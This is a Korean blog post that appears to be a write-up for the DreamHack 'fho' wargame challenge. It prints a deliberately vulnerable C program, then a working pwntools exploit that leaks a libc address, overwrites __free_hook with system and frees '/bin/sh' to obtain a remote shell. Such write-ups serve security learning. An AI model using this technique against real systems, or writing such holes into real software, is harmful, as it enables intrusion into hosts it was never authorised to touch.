Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] stage8_문제풀이(fho) 본문

Hack/DreamHack(로드맵)

[System_Hacking] stage8_문제풀이(fho)

CIDY 2022. 7. 3. 01:42

진짜 서버랑 로컬 환경다른거 너무 화난다... 조만간 꼭 도커파일로 환경구축하는거 배워야지

 

// Name: fho.c
// Compile: gcc -o fho fho.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  puts("[2] Arbitary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;

  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);

  return 0;
}

 

공부할 때 썼던 예제문제랑 같다. 

 

addr -> __free_hook

value -> system

addr2 -> /bin/sh

 

from pwn import *

p = remote("host3.dreamhack.games", 23038)
libc = ELF("./libc-2.27.so")

p.recvuntil(b"Buf: ")
p.send(b"A" * 0x48)
p.recvuntil(b"Buf: ")
p.recvn(0x48)

start = u64(p.recvuntil(b"\x7f").ljust(8, b"\x00")) 
#print(hex(start))
p.recvn(1)
libc_base = start - 231 - libc.sym['__libc_start_main']
print(hex(libc_base))
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
print(hex(free_hook))
binsh = libc_base + next(libc.search(b"/bin/sh"))

p.recvuntil(b"To write: ")
p.sendline(str(free_hook))

p.recvuntil(b"With: ")
p.sendline(str(system))

p.recvuntil(b"To free: ")
p.sendline(str(binsh))

p.interactive()

 

음 주의할 점(?)은 scanf에 보낼 때 str해줘야 한다는 것 정도. read처럼 직빵으로 받는 거 아니고 포맷 지정해서 받으니까. 항상 이거 습관적으로 패킹해주는데 그럼 쟤가 아마 정상적으로 못 받을 거다.